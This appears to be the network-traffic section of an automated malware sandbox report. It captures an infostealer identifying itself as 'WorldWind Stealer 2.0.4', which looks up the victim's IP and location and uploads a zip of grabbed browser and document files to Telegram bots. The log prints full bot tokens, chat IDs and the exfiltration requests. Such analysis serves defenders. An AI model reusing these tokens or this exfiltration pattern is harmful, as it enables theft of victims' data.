Jul 25, 2024 13:04:01.948283911 CEST	534	IN	HTTP/1.1 200 OK Date: Thu, 25 Jul 2024 11:04:01 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=.yuXtZ6JE1z1yHvv6mTQMe9cuEsSbyeKrotKtfBevHs-1721905441-1.0.1.1-8KFC0C78u.AXb85mMHUCuKFeLYR_Mc5yJJ_1C0_atpSZpFfCA.lVlkcOzAw49JnfZ4akmMkxO0LTC14zbm.72g; path=/; expires=Thu, 25-Jul-24 11:34:01 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8a8baab3ceb21799-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 0a Data Ascii: 8.46.123.33
Jul 25, 2024 13:04:02.164714098 CEST	534	IN	HTTP/1.1 200 OK Date: Thu, 25 Jul 2024 11:04:01 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=.yuXtZ6JE1z1yHvv6mTQMe9cuEsSbyeKrotKtfBevHs-1721905441-1.0.1.1-8KFC0C78u.AXb85mMHUCuKFeLYR_Mc5yJJ_1C0_atpSZpFfCA.lVlkcOzAw49JnfZ4akmMkxO0LTC14zbm.72g; path=/; expires=Thu, 25-Jul-24 11:34:01 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8a8baab3ceb21799-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 0a Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	172.67.196.114	443	5836	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:04:03 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2024-07-25 11:04:04 UTC	781	IN	HTTP/1.1 200 OK Date: Thu, 25 Jul 2024 11:04:04 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Thu, 25 Jul 2024 11:04:04 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2BSKcaaM47PdVb6iOQUymImXjv4UNgC%2FrjFIrTAg7EhGHnDz6J7nsZbpHjrKYdmgx7MQHx4C8EneDeVL2JXOvNjtFLh5zyIf%2F540LSkNFfMfWDcd%2FnWNkUrm9VBWkImze4y7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a8baabc786418c8-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 11:04:04 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 32 31 39 30 35 34 34 34 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1721905444}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	149.154.167.220	443	5836	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:04:05 UTC	1805	OUT	GET /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Stealer%202.0.4%20-%20Results:%0ADate:%202024-07-25%207:03:50%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20585948%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%205HD8R%0ARAM:%204095MB%0AHWID:%20A3234DEE9B%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Log [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2024-07-25 11:04:05 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 25 Jul 2024 11:04:05 GMT Content-Type: application/json Content-Length: 2084 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-25 11:04:05 UTC	2084	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 35 37 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 34 34 39 33 34 32 34 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 48 61 63 6b 69 6e 47 20 5c 75 32 36 32 30 5c 75 66 65 30 66 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 61 63 6b 69 6e 47 75 73 65 72 73 5f 64 61 74 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 31 39 31 33 36 36 32 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 61 72 59 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 75 6e 6e 79 5f 48 6f 6f 64 61 5f 31 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 31 39 30 35 34 34 Data Ascii: {"ok":true,"result":{"message_id":45786,"from":{"id":5344934242,"is_bot":true,"first_name":"HackinG \u2620\ufe0f","username":"HackinGusers_databot"},"chat":{"id":1619136628,"first_name":"GarY","username":"Sunny_Hooda_11","type":"private"},"date":172190544

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	149.154.167.220	443	5836	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:04:06 UTC	171	OUT	GET /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1 Host: api.telegram.org
2024-07-25 11:04:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 25 Jul 2024 11:04:06 GMT Content-Type: application/json Content-Length: 305 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-25 11:04:06 UTC	305	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 35 37 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 34 34 39 33 34 32 34 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 48 61 63 6b 69 6e 47 20 5c 75 32 36 32 30 5c 75 66 65 30 66 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 61 63 6b 69 6e 47 75 73 65 72 73 5f 64 61 74 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 31 39 31 33 36 36 32 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 61 72 59 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 75 6e 6e 79 5f 48 6f 6f 64 61 5f 31 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 31 39 30 35 34 34 Data Ascii: {"ok":true,"result":{"message_id":45787,"from":{"id":5344934242,"is_bot":true,"first_name":"HackinG \u2620\ufe0f","username":"HackinGusers_databot"},"chat":{"id":1619136628,"first_name":"GarY","username":"Sunny_Hooda_11","type":"private"},"date":172190544

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	149.154.167.220	443	5836	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:04:07 UTC	254	OUT	POST /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619136628 HTTP/1.1 Content-Type: multipart/form-data; boundary="9a90f5be-ba32-47eb-bbd8-ceebefa67688" Host: api.telegram.org Content-Length: 153913 Expect: 100-continue
2024-07-25 11:04:07 UTC	25	IN	HTTP/1.1 100 Continue
2024-07-25 11:04:07 UTC	40	OUT	Data Raw: 2d 2d 39 61 39 30 66 35 62 65 2d 62 61 33 32 2d 34 37 65 62 2d 62 62 64 38 2d 63 65 65 62 65 66 61 36 37 36 38 38 0d 0a Data Ascii: --9a90f5be-ba32-47eb-bbd8-ceebefa67688
2024-07-25 11:04:07 UTC	269	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 62 35 63 33 30 30 30 64 65 37 62 61 66 36 62 33 36 30 33 66 61 31 37 36 36 37 37 37 39 63 39 35 5c 61 6c 66 6f 6e 73 40 35 38 35 39 34 38 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 61 6c 66 6f 6e 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 62 35 63 33 30 30 30 64 65 37 62 61 66 36 62 33 36 30 33 66 61 31 37 36 36 37 37 37 39 63 39 35 25 35 43 61 6c 66 6f 6e 73 25 34 30 35 38 35 39 34 38 Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5Cb5c3000de7baf6b3603fa17667779c95%5Cuser%40585948
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 92 69 f9 58 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 00 00 92 69 f9 58 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 7a 38 f9 58 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 7a 38 f9 58 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 Data Ascii: PKiXBrowsers\Edge\PKiXBrowsers\Google\PKz8XQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PKz8XceS^B
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: 00 00 08 00 1c 52 44 57 7d 1c 59 5e 81 02 00 00 02 04 00 00 3e 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 65 73 6b 74 6f 70 5c 42 4a 5a 46 50 50 57 41 50 54 5c 45 57 5a 43 56 47 4e 4f 57 54 2e 70 64 66 15 93 c7 71 00 31 08 00 ff 9e 71 51 02 e5 00 ca 81 fe 0b f1 f9 07 1f c2 b2 98 23 b8 1d f1 99 d8 1d 2a ef 7c 50 fd 78 e8 a6 ad b3 8a 96 69 6c 62 99 20 49 fb e9 0e 17 2e b7 c5 8c 21 cf cd 37 ce 73 8d 74 bb 37 c7 a8 d7 45 21 3a 65 f9 36 5f f6 f6 55 66 b0 31 3b 71 7a 3c 51 83 ca 59 59 a7 5d 03 0c 30 a3 6d 86 33 23 86 86 d8 85 db 28 c6 8a 32 8c 36 d4 75 83 9f 9d 9f 4d 6d 4d 3b d4 3a 70 c2 88 7e ee d0 9a 31 21 ee e8 19 9c 70 f5 ba 43 c0 12 51 e2 4b 29 ee 0c 6b 78 f1 71 58 5d 9e 71 15 6c d7 c3 86 18 96 d2 e7 Data Ascii: RDW}Y^>Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdfq1qQ#*\|Pxilb I.!7st7E!:e6_Uf1;qz<QYY]0m3#(26uMmM;:p~1!pCQK)kxqX]ql
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: 4b 03 04 14 00 00 00 08 00 1c 52 44 57 d6 93 e6 20 83 02 00 00 02 04 00 00 36 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 47 52 58 5a 44 4b 4b 56 44 42 2e 64 6f 63 78 0d 93 59 8e 45 21 08 44 ff 3b 79 8b 52 11 67 05 27 d4 fd 2f a4 ef 6f 25 14 e4 54 e1 fa 79 90 d2 06 bd 5c 94 ad 36 d7 9c fc dc 12 b1 c8 52 01 dd 89 17 de 04 b8 ed 5d e5 01 c0 d7 e3 eb 1e b8 5f b4 25 8d 78 1c 28 ed e5 24 7e 86 8f 2e 19 9f c1 d7 dd a3 27 f7 56 3b 73 01 69 19 32 05 6c 3b 75 28 6c 65 59 9f c2 f4 d5 d5 3e fb 13 f6 58 34 58 33 27 27 04 bb eb f6 5a 91 a9 c5 c4 2a 12 26 6d 65 44 87 55 c9 5c 7c c9 c5 63 8a 16 a8 1e cc 06 e3 6c f2 97 88 ac 4b 64 a8 dc 67 53 37 cd 75 0f a8 ea 7e 08 9f f0 a4 a5 dc 43 5b 64 Data Ascii: KRDW 6Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.docxYE!D;yRg'/o%Ty\6R]_%x($~.'V;si2l;u(leY>X4X3''Z*&meDU\\|clKdgS7u~C[d
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: a9 16 41 e3 03 92 2c b8 11 d1 8f 57 cf 56 32 dc bd 77 67 86 61 be 9f 8c 1e 3b 72 b6 5c a9 a8 45 e1 94 44 b1 a4 e5 4c e0 40 72 ad bc 8e 2a 35 37 de 7a 4f 6c 7c a3 ec 83 bb 4a c5 5a b5 71 cf 59 d0 37 f1 a5 da f9 6f 74 06 d1 c9 ee e5 fe fc 98 91 cc d3 c4 d6 bc e0 15 ed 92 d4 60 66 c9 45 57 ae 92 7a 0d 18 ea 9f 30 65 e6 4e 8d 7e 50 4b 03 04 14 00 00 00 08 00 54 4c 44 57 fe e7 85 70 bc 00 00 00 f8 01 00 00 3c 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 79 20 56 69 64 65 6f 73 5c 64 65 73 6b 74 6f 70 2e 69 6e 69 ad 90 cd 0a 82 50 14 84 67 1d f4 18 ed 4a 32 a1 9f 85 10 04 41 10 2d aa 5d b5 08 b3 12 2c 43 0d aa 87 af be 2b 49 46 6d 84 38 78 3d 67 66 98 39 f7 3e ee 55 55 b4 90 a5 Data Ascii: A,WV2wga;r\EDL@r*57zOl\|JZqY7ot`fEWz0eN~PKTLDWp<Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.iniPgJ2A-],C+IFm8x=gf9>UU
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: 25 21 39 21 1e ec 97 fd 4a cd 11 61 a0 42 af e9 d4 81 17 a2 62 8d 27 a4 69 d1 80 4f 73 96 2d 1a dd ef 48 51 9d 8a 5f 44 52 d3 a3 b4 35 9c 01 bd 2d 42 3c 61 00 4b db af d6 43 9e 2b 23 3a a4 ba fa bc 4a 6b 8f d0 75 2b 18 8c 51 77 9b d9 53 7b 38 21 95 3e 73 d3 f1 73 16 21 8d 46 1a e2 8b 17 48 d3 c5 01 af 72 4a 79 83 06 54 5a 73 36 f0 27 d0 f6 c0 01 9b e7 83 88 57 24 60 07 7d d4 8f 61 50 11 d9 ca da cb 41 d8 86 3d 4f d3 99 7f 83 e1 6f 4f 48 a5 d3 98 42 1d 17 62 d2 79 a6 c3 9e 05 e4 34 51 e5 39 2e ab 7c 39 9e 8e c5 f9 65 87 b2 bd cd 69 de c9 39 d4 77 04 56 db ce 0c 0c c7 a6 66 d9 1a fc f2 c3 f3 84 20 a2 8e e7 53 69 bd 55 67 ea 77 b3 e3 4a 01 11 43 94 16 8d e7 a2 6a 16 d5 21 81 0f e6 24 77 a4 0f 57 4e 82 e4 c7 6e df 03 2f 64 cf 35 65 6e f8 7e 3f a5 43 9a 7c a0 Data Ascii: %!9!JaBb'iOs-HQ_DR5-B<aKC+#:Jku+QwS{8!>ss!FHrJyTZs6'W$`}aPA=OoOHBby4Q9.\|9ei9wVf SiUgwJCj!$wWNn/d5en~?C\|
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: e8 e4 a3 7f a9 c2 e1 f0 78 e8 51 3c 2f ce af 63 fd 99 3b b0 c4 60 41 ec af 84 21 31 e7 9c 22 43 16 e9 69 22 fe 21 09 9c 9b d8 06 24 fc 8e 23 03 7b 26 63 38 9b 84 3e fb 86 f0 c4 45 c7 23 74 20 dc dc 02 84 e7 8e f8 e4 02 ad c2 41 80 1f c0 c9 d9 cb 8e 0c 39 e4 e1 43 cb f5 71 c4 28 58 26 53 92 98 8d a4 e0 f8 d0 fa fc 14 9c 98 a7 40 37 9e e0 ef bf 49 78 ca 56 5f c3 53 3e b2 3f ca 49 d4 7e 74 13 fb f9 f0 bd 1d 86 de 72 40 0f 46 3a d9 f7 bf 33 d3 20 86 f4 30 d2 05 14 fe d6 b4 cf a3 20 25 7a 0c b1 ba 70 52 c7 92 10 ba c8 ed 9a 05 c1 62 19 4f 14 39 80 25 74 72 eb a2 c0 44 62 03 b1 22 1b b8 0a d5 21 a3 d3 e4 4c 27 04 07 66 9c 4f 5f 17 e1 2c 30 16 a8 5e 2e 67 10 a2 99 07 fc 93 80 ff d7 18 21 a9 79 63 60 62 55 20 27 3a e8 bd 8f 55 4c ad 24 0b d6 13 25 24 74 b2 04 1e Data Ascii: xQ</c;`A!1"Ci"!$#{&c8>E#t A9Cq(X&S@7IxV_S>?I~tr@F:3 0 %zpRbO9%trDb"!L'fO_,0^.g!yc`bU ':UL$%$t
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: a2 35 ac af e6 43 ef 5b f7 9e e6 a7 9d 63 37 9b f9 43 59 0a f3 fa 32 32 fc cd 9f 39 42 2e c8 c0 61 65 18 f6 ac f2 e9 ac 72 0a 80 f6 79 20 25 1b ae f4 dd e4 9a ad 4a 2f 77 f5 e0 1d 85 8e 5c 65 46 53 d0 03 1b 4f ba fd 0f 6b 4b 87 c7 fa 23 11 f0 82 57 8a 93 df 1c 0a d4 79 f7 06 0b 0a f6 b6 57 db a2 54 7f 40 7d 7d fc c9 c7 eb c0 d2 b4 45 18 d0 31 9b c1 e9 9a e3 d2 e8 bc eb 0b b1 f6 a7 41 db 9e 47 4c a3 5f d2 38 ec 02 db df 14 fd a1 35 99 5f 67 e6 90 1d c7 85 14 9a e2 01 b9 16 ad 87 03 3b e2 bc 9a 62 3c 2f 65 5e c9 6e 0f c9 1e 2f 3e 0a 55 a5 1b 2b 93 28 a3 14 13 ff e4 54 5a 22 5b 2f da 1b 60 b2 f3 02 83 fb 45 9b 3e db 4d 65 26 a0 a4 f1 8b f0 34 ac f6 90 d6 e6 de 3d 07 70 cf 99 c9 82 c9 d3 21 f5 f4 9d 24 59 e2 6e 19 4c 05 3b b2 b6 af 6f b7 38 74 95 5a 1c 5e 19 Data Ascii: 5C[c7CY229B.aery %J/w\eFSOkK#WyWT@}}E1AGL_85_g;b</e^n/>U+(TZ"[/`E>Me&4=p!$YnL;o8tZ^
2024-07-25 11:04:07 UTC	16355	OUT	Data Raw: 3c 93 d0 44 37 5f 71 29 54 7e b4 3c 91 5a f1 62 b8 f6 c2 d7 3c d5 37 71 2e 77 d0 f7 bb 65 41 f8 e1 cd f2 a3 33 78 8d 2b b7 6c 1f f1 ec e3 60 11 9a fb 82 8b 03 72 3c 53 3a 1d a7 af b8 fb 89 dd ef ec 65 fa 81 20 62 b0 cc 2e 76 bb db 58 62 ff 09 66 81 04 18 96 3c a3 ed cb dc a1 9d d4 85 2f e2 f9 41 6b 9b ec ce 95 e3 1f 83 ba 83 f0 c4 19 d2 c8 91 33 72 e1 60 f3 75 a0 55 60 01 e6 91 b6 30 28 85 0b 99 d6 a6 f8 00 4e 28 6e 43 ea 29 45 b1 70 4d f9 5a 51 dd 2a 51 ff 1d 0d 1b cc b6 ae 4a 69 16 09 c8 8f 21 97 24 e7 e4 2d dd e2 f6 e5 3a 07 9a d0 4e ff c4 0c e4 17 e7 fb c2 dd ed f3 11 df 7b c1 3d d4 d8 92 11 a1 19 ca 77 90 ec 4a 48 46 93 d8 14 9b f2 bb 17 6d a4 eb 9f 0b 29 2b 87 09 2a 79 65 2c 2e 82 af e9 8c 7a b2 96 4b 64 06 93 e6 9d 76 2d f7 cd 0c 1c 08 c5 15 60 55 Data Ascii: <D7_q)T~<Zb<7q.weA3x+l`r<S:e b.vXbf</Ak3r`uU`0(N(nC)EpMZQQJi!$-:N{=wJHFm)+ye,.zKdv-`U
2024-07-25 11:04:09 UTC	911	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 25 Jul 2024 11:04:09 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":45788,"from":{"id":5344934242,"is_bot":true,"first_name":"HackinG \u2620\ufe0f","username":"HackinGusers_databot"},"chat":{"id":1619136628,"first_name":"GarY","username":"Sunny_Hooda_11","type":"private"},"date":1721905449,"document":{"file_name":"C_UsersuserAppDataLocalb5c3000de7baf6b3603fa17667779c95user@.zip","mime_type":"application/zip","file_id":"BQACAgUAAxkDAAKy3GaiMSnwd8fQib0mAAHVyHp_Z2KQ9gACuxEAAuylEVXahP5ko2s0NjUE","file_unique_id":"AgADuxEAAuylEVU","file_size":153560}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	149.154.167.220	443	5836	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:04:09 UTC	254	OUT	POST /bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866 HTTP/1.1 Content-Type: multipart/form-data; boundary="8b1ed36a-236f-4a11-9926-bd82a5531dca" Host: api.telegram.org Content-Length: 153913 Expect: 100-continue
2024-07-25 11:04:10 UTC	25	IN	HTTP/1.1 100 Continue
2024-07-25 11:04:10 UTC	40	OUT	Data Raw: 2d 2d 38 62 31 65 64 33 36 61 2d 32 33 36 66 2d 34 61 31 31 2d 39 39 32 36 2d 62 64 38 32 61 35 35 33 31 64 63 61 0d 0a Data Ascii: --8b1ed36a-236f-4a11-9926-bd82a5531dca
2024-07-25 11:04:10 UTC	269	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 62 35 63 33 30 30 30 64 65 37 62 61 66 36 62 33 36 30 33 66 61 31 37 36 36 37 37 37 39 63 39 35 5c 61 6c 66 6f 6e 73 40 35 38 35 39 34 38 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 61 6c 66 6f 6e 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 62 35 63 33 30 30 30 64 65 37 62 61 66 36 62 33 36 30 33 66 61 31 37 36 36 37 37 37 39 63 39 35 25 35 43 61 6c 66 6f 6e 73 25 34 30 35 38 35 39 34 38 Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5Cb5c3000de7baf6b3603fa17667779c95%5Cuser%40585948
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 92 69 f9 58 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 00 00 92 69 f9 58 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 7a 38 f9 58 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 7a 38 f9 58 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 Data Ascii: PKiXBrowsers\Edge\PKiXBrowsers\Google\PKz8XQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PKz8XceS^B
